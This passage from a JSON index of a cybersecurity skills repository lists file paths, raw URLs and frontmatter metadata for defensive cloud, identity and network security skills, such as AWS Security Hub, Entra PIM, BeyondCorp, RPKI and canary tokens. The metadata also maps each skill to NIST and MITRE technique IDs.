when setting up S3 data classification, cloud DLP, or auditing S3 for unprotected sensitive data.","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws","macie","data-classification","s3","pii","sensitive-data","dlp","compliance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0043","AML.T0018"],"nist_ai_rmf":["GOVERN-1.1","GOVERN-4.2","MAP-2.3","MEASURE-2.7","MEASURE-2.5"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"]},"isInternal":false,"tokens":2161,"sizeBytes":8550},{"name":"api-reference.md","path":"skills/implementing-aws-nitro-enclave-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-nitro-enclave-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1002,"sizeBytes":4129},{"name":"SKILL.md","path":"skills/implementing-aws-nitro-enclave-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-nitro-enclave-security/SKILL.md","title":"implementing-aws-nitro-enclave-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-nitro-enclave-security%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-nitro-enclave-security","description":"Build AWS Nitro Enclave confidential computing environments using nitro-cli to create enclave images, configure attestation-aware KMS policies with PCR condition keys, validate attestation documents against the Nitro PKI root, and set up vsock/kmstool-enclave-cli pipelines for processing PII, keys, and health records. Use for Nitro Enclave setup, attestation validation, or scoping KMS to an enclave image hash.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["AWS-Nitro-Enclaves","confidential-computing","attestation","KMS","enclave-isolation","vsock","PCR"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T0816"]},"isInternal":false,"tokens":5252,"sizeBytes":21821},{"name":"api-reference.md","path":"skills/implementing-aws-security-hub-compliance/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-security-hub-compliance/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":559,"sizeBytes":2366},{"name":"SKILL.md","path":"skills/implementing-aws-security-hub-compliance/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-security-hub-compliance/SKILL.md","title":"implementing-aws-security-hub-compliance","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub-compliance%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-security-hub-compliance","description":"Deploy AWS Security Hub, backed by AWS Config, to aggregate findings from GuardDuty, Inspector, Macie, Firewall Manager, and Prowler across multi-account AWS Organizations, enable standards like CIS AWS Foundations and PCI DSS, and automate remediation via EventBridge and Lambda. Use for centralizing AWS compliance monitoring or executive compliance dashboards; not for threat detection (GuardDuty) or data classification (Macie).\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","security-hub","compliance","cspm","cis-benchmark"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2955,"sizeBytes":12435},{"name":"api-reference.md","path":"skills/implementing-aws-security-hub/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-security-hub/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":606,"sizeBytes":2354},{"name":"SKILL.md","path":"skills/implementing-aws-security-hub/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aws-security-hub/SKILL.md","title":"implementing-aws-security-hub","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aws-security-hub%2FSKILL.md -->","frontmatter":{"name":"implementing-aws-security-hub","description":"Deploy AWS Security Hub as a centralized CSPM platform, backed by AWS Config, aggregating findings from GuardDuty, Inspector, Macie, and third-party tools; enable CIS Foundations, PCI-DSS, and NIST standards; automate remediation via EventBridge/Systems Manager; and produce Audit Manager evidence. Use for a centralized findings dashboard or compliance audit evidence; not for threat detection or container scanning.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws-security-hub","cspm","compliance-automation","security-standards","finding-aggregation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2320,"sizeBytes":9889},{"name":"template.md","path":"skills/implementing-azure-ad-privileged-identity-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-ad-privileged-identity-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":460,"sizeBytes":1979},{"name":"api-reference.md","path":"skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":460,"sizeBytes":1951},{"name":"standards.md","path":"skills/implementing-azure-ad-privileged-identity-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-ad-privileged-identity-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":501,"sizeBytes":2034},{"name":"workflows.md","path":"skills/implementing-azure-ad-privileged-identity-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-ad-privileged-identity-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":775,"sizeBytes":3880},{"name":"SKILL.md","path":"skills/implementing-azure-ad-privileged-identity-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-ad-privileged-identity-management/SKILL.md","title":"implementing-azure-ad-privileged-identity-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-ad-privileged-identity-management%2FSKILL.md -->","frontmatter":{"name":"implementing-azure-ad-privileged-identity-management","description":"Configure Microsoft Entra Privileged Identity Management (PIM) to convert standing privileged assignments into eligible, time-bound roles requiring justification, MFA, and approval, covering Entra roles, Azure resource roles, and PIM for Groups, plus access reviews. Use for role-assignment audits, just-in-time admin activation, or Zero Trust identity governance in Entra/Azure AD.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["azure-ad","pim","entra-id","just-in-time","privileged-roles","identity-governance","zero-trust"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment"],"techniques":[{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"defense-impairment","source":"f3"}]}},"isInternal":false,"tokens":2299,"sizeBytes":10587},{"name":"api-reference.md","path":"skills/implementing-azure-defender-for-cloud/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-defender-for-cloud/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":579,"sizeBytes":2278},{"name":"SKILL.md","path":"skills/implementing-azure-defender-for-cloud/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-azure-defender-for-cloud/SKILL.md","title":"implementing-azure-defender-for-cloud","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-azure-defender-for-cloud%2FSKILL.md -->","frontmatter":{"name":"implementing-azure-defender-for-cloud","description":"Enable Microsoft Defender for Cloud (CSPM + CWPP) across VMs, containers, SQL, storage, and Key Vault, using Azure Policy for evaluation, Log Analytics for telemetry, Azure Arc for hybrid coverage, and Logic Apps for automated response. Use for Azure security monitoring, adaptive remediation, or regulatory compliance assessment; not for non-Azure-only protection or identity defense (Defender for Identity).\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","azure","defender-for-cloud","cspm","cwpp","security-recommendations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":2817,"sizeBytes":12439},{"name":"template.md","path":"skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1177,"sizeBytes":4929},{"name":"api-reference.md","path":"skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":414,"sizeBytes":1633},{"name":"standards.md","path":"skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":682,"sizeBytes":2762},{"name":"workflows.md","path":"skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1167,"sizeBytes":5100},{"name":"SKILL.md","path":"skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md","title":"implementing-beyondcorp-zero-trust-access-model","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-beyondcorp-zero-trust-access-model%2FSKILL.md -->","frontmatter":{"name":"implementing-beyondcorp-zero-trust-access-model","description":"Implement Google's BeyondCorp zero trust access model using Cloud IAP, Access Context Manager, Endpoint Verification, Chrome Enterprise Premium, and BeyondCorp Enterprise Connectors to enforce identity- and device-aware access for VPN-less application access. Use for replacing VPN, enforcing device posture checks, or securing remote/hybrid access to GCP-hosted or on-prem apps; not for raw network-level protocols.\n","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["beyondcorp","zero-trust","google-cloud","iap","identity-aware-proxy","ztna","access-context-manager"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1078.004","T1530"]},"isInternal":false,"tokens":3175,"sizeBytes":13857},{"name":"api-reference.md","path":"skills/implementing-bgp-security-with-rpki/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-bgp-security-with-rpki/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":448,"sizeBytes":1577},{"name":"SKILL.md","path":"skills/implementing-bgp-security-with-rpki/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-bgp-security-with-rpki/SKILL.md","title":"implementing-bgp-security-with-rpki","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-bgp-security-with-rpki%2FSKILL.md -->","frontmatter":{"name":"implementing-bgp-security-with-rpki","description":"Implement RPKI-based BGP route origin validation by creating Route Origin Authorizations (ROAs) at RIRs (ARIN, RIPE, APNIC, AFRINIC, LACNIC), deploying validator software (Routinator, FORT, OctoRPKI), and configuring RPKI-to-Router protocol and ROV accept/reject policies on Cisco IOS-XE and Juniper Junos routers. Use when hardening BGP against route hijacking or leaks, or when configuring ROV filtering policy on production routers.","domain":"cybersecurity","subdomain":"network-security","tags":["bgp","rpki","route-origin-validation","rov","roa","route-hijacking","internet-routing","bgp-security","prefix-hijack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3179,"sizeBytes":12382},{"name":"api-reference.md","path":"skills/implementing-browser-isolation-for-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-browser-isolation-for-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2303,"sizeBytes":9387},{"name":"SKILL.md","path":"skills/implementing-browser-isolation-for-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-browser-isolation-for-zero-trust/SKILL.md","title":"implementing-browser-isolation-for-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-browser-isolation-for-zero-trust%2FSKILL.md -->","frontmatter":{"name":"implementing-browser-isolation-for-zero-trust","description":"Deploys remote browser isolation (RBI) as a core component of a Zero Trust architecture. Implements isolation policies with URL categorization and risk-based routing, content disarming and reconstruction (CDR) for file sanitization, data loss prevention controls within isolated sessions, and integration with Secure Web Gateway and ZTNA platforms. Based on Cloudflare Browser Isolation, Menlo Security, and Zscaler RBI approaches. Use when hardening web access against zero-day exploits, phishing, credential theft, and browser-based data exfiltration.\n","domain":"cybersecurity","subdomain":"network-security","tags":["browser-isolation","zero-trust","RBI","CDR","URL-categorization","content-disarming","secure-web-gateway"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","execution"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"positioning","source":"attack"},{"id":"T1185","name":"Browser Session Hijacking","tactic":"positioning","source":"attack"},{"id":"F1007","name":"Adversary-in-the-Browser","tactic":"positioning","source":"f3"},{"id":"F1007.002","name":"Adversary-in-the-Browser: Malicious Browser Extension","tactic":"positioning","source":"f3"},{"id":"F1007.003","name":"Adversary-in-the-Browser: Malicious JavaScript Injection","tactic":"execution","source":"f3"}]}},"isInternal":false,"tokens":3338,"sizeBytes":13939},{"name":"api-reference.md","path":"skills/implementing-canary-tokens-for-network-intrusion/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-canary-tokens-for-network-intrusion/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1571,"sizeBytes":6001},{"name":"SKILL.md","path":"skills/implementing-canary-tokens-for-network-intrusion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-canary-tokens-for-network-intrusion/SKILL.md","title":"implementing-canary-tokens-for-network-intrusion","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-canary-tokens-for-network-intrusion%2FSKILL.md -->","frontmatter":{"name":"implementing-canary-tokens-for-network-intrusion","description":"Deploys DNS, HTTP, and AWS API key canary tokens across network infrastructure to detect unauthorized access and lateral movement. Integrates with webhook alerting (Slack, Teams, email, generic HTTP) for real-time intrusion notifications. Provides automated token generation, placement strategies, and monitoring for enterprise network environments. Use when building deception-based network intrusion detection with Canarytokens.org and Thinkst Canary platforms.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["canary-tokens","intrusion-detection","deception","network-security","honeytokens","breach-detection"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1021","T1550"]},"isInternal":false,"tokens":2819,"sizeBytes":12438},{"name":"template.md","path":"skills/implementing-cisa-zero-trust-maturity-model/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cisa-zero-trust-maturity-model/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1247,"sizeBytes":4074},{"name":"api-reference.md","path":"skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":495,"sizeBytes":1934},{"name":"standards.md","path":"skills/implementing-cisa-zero-trust-maturity-model/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cisa-zero-trust-maturity-model/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":495,"sizeBytes":2115},{"name":"workflows.md","path":"skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":832,"sizeBytes":3806},{"name":"SKILL.md","path":"skills/implementing-cisa-zero-trust-maturity-model/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cisa-zero-trust-maturity-model/SKILL.md","title":"implementing-cisa-zero-trust-maturity-model","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cisa-zero-trust-maturity-model%2FSKILL.md -->","frontmatter":{"name":"implementing-cisa-zero-trust-maturity-model","description":"Assess, gap-analyze, and progressively implement the CISA Zero Trust Maturity Model v2.0 across five pillars (Identity, Devices, Networks, Applications & Workloads, Data) and three cross-cutting capabilities (Visibility/Analytics, Automation/Orchestration, Governance), from Traditional through Optimal maturity. Use for a federal/enterprise ZTMM assessment, phased roadmap, or mapping controls to NIST SP 800-207 and EO 14028.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","cisa","maturity-model","federal-compliance","governance","nist-800-207","identity","devices","networks","applications","data-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","GOVERN-1.7","MAP-1.1","GOVERN-4.2","MAP-2.3"],"nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":2745,"sizeBytes":12377},{"name":"api-reference.md","path":"skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":540,"sizeBytes":2179},{"name":"SKILL.md","path":"skills/implementing-cloud-dlp-for-data-protection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-dlp-for-data-protection/SKILL.md","title":"implementing-cloud-dlp-for-data-protection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-dlp-for-data-protection%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-dlp-for-data-protection","description":"Implement cloud DLP using Amazon Macie, Google Cloud DLP API, Microsoft Purview, Azure Information Protection, and Nightfall AI to discover, classify, label, de-identify, and protect sensitive data (PII, PHI, financial data) across cloud storage, databases, and pipelines. Use for GDPR/HIPAA/PCI DSS data-discovery, cloud data governance, or CI/CD DLP scanning; not for endpoint, email, or network-level DLP.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","dlp","data-protection","macie","data-classification","privacy"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4","MEASURE-2.8","MEASURE-2.9"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":3800,"sizeBytes":16610},{"name":"api-reference.md","path":"skills/implementing-cloud-security-posture-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-security-posture-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":538,"sizeBytes":1946},{"name":"SKILL.es.md","path":"skills/implementing-cloud-security-posture-management/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-security-posture-management/SKILL.es.md","title":"implementing-cloud-security-posture-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.es.md -->","frontmatter":{"name":"implementing-cloud-security-posture-management","description":"Implementing Cloud Security Posture Management (CSPM) to continuously monitor multi-cloud environments for misconfigurations, compliance violations, and security risks using Prowler, ScoutSuite, AWS Security Hub, Azure Defender, and GCP Security Command Center.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","cspm","multi-cloud","compliance","prowler","scoutsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":3481,"sizeBytes":12963},{"name":"SKILL.md","path":"skills/implementing-cloud-security-posture-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-security-posture-management/SKILL.md","title":"implementing-cloud-security-posture-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-security-posture-management%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-security-posture-management","description":"Continuously monitor multi-cloud environments (AWS, Azure, GCP) for misconfigurations, compliance violations, and security risks using Prowler, ScoutSuite, AWS Security Hub, Microsoft Defender for Cloud, and GCP Security Command Center. Use for cross-cloud posture monitoring, CIS/SOC 2/PCI DSS compliance, or drift-detection workflows; not for runtime workload protection or application security testing.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","cspm","multi-cloud","compliance","prowler","scoutsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2924,"sizeBytes":12082},{"name":"api-reference.md","path":"skills/implementing-cloud-trail-log-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-trail-log-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2Freferences%2Fapi-reference.md 